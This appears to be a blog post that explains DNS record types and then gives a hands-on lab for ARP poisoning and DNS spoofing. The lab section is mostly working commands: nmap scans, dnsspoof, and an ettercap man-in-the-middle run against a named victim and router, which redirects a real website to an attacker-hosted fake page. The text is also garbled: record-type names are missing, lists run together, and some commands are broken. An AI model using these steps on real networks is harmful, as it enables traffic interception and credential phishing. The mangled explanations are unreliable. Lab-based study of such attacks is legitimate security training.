DNS is a complete infrastructure, and a domain contains multiple types of information and instructions stored in an authoritative DNS server. 🌐
Many people think DNS is just Domain → IP mapping.
But that is only true at a beginner level.
DNS is a complete infrastructure.
A domain contains multiple types of information and instructions stored in an authoritative DNS server.
Below are important DNS record types you should know:
Points a domain to its IPv4 address.
Points a domain to its IPv6 address.
Specifies where incoming emails for a domain should be delivered.
Example:
Emails sent to contact@usmansaid.com may go to Cloudflare’s mail servers.
Important:
Also known as an Alias record.
It points one domain to another domain.
Example:
shop.usmansaid.com → usmansaid.com
Important:
When a recursive DNS server finds a CNAME, it must restart the resolution process to find the IP address of the aliased domain.
Stores additional information in text format.
Common uses:
Specifies which authoritative DNS server holds the DNS records for a domain.
In simple terms:
It tells where the actual DNS information is stored.
Used for reverse DNS lookup.
Instead of:
Domain → IP
It performs:
IP → Domain
Often used by:
It verifies whether an IP actually belongs to a domain.
To perform DNS spoofing, two attacks usually work together:
Used to place yourself between the victim and the router (Man-in-the-Middle) so you can capture traffic.
Used to modify DNS responses and provide a fake IP address.
Install the following tools:
Ettercaparpspoofnmapdnsspoofapache2 (usually pre-installed)In this lab, we will poison DNS but not redirect to a fake website yet.
nmap -sS -O <targetIP>
If practicing in your own LAN, scan the /24 CIDR range.
After identifying:
Launch ARP poisoning to become a Man-in-the-Middle and capture traffic.
In a third terminal:
nano fake_dns_file.txt
Add:
<Your_Kali_IP> <Target_Site>
Example:
192.168.1.19 vulnweb.com
Save and exit.
dnsspoof -i <Network_Interface> -f fake_dns_file.txt
Example:
dnsspoof -i eth0 -f fake_dns_file.txt
Keep it running.
On victim machine:
ping vulnweb.com
If successful, it will show your Kali IP.
DNS is now poisoned.
Now we will redirect the victim to our own fake website using Apache.
Apache serves files from:
/var/www/html
There is a default index.html file which we will modify.
Edit:
/var/www/html/index.html
Replace its content with your custom HTML page.
chown hacker /var/www/html/index.html
sudo cd /etc/ettercap
Important files:
ettercap.confettercap.dnsMake copies of both and edit the copied versions.
ec_uid and ec_gid to 0# from the start of:redir_command_on
redir_command_off
redir6_command_on
redir6_command_off
Save and exit.
Replace content with:
vulnweb.com A 192.168.10.11
*.vulnweb.com A 192.168.10.11
www.vulnweb.com PTR 192.168.10.11
Important:
Use tabs, not spaces, between fields.
Save and exit.
sudo systemctl start apache2
Check status:
systemctl status apache2
Important command:
sudo ettercap -T -q -i eth0 -M arp:remote /192.168.10.13// /192.168.10.1// -P dns_spoof
**sudo ettercap** → Run as root**-T** → Text interface**-q** → Quiet mode-i eth0 → Network interface**-M arp:remote** → ARP poisoning in both directions**/192.168.10.13// /192.168.10.1//** → Victim and Router**-P dns_spoof** → Activate DNS spoofing pluginOn the victim machine, open the targeted website.
It should now redirect to your fake page.
DNS spoofing successful.
🎥 Reference Video: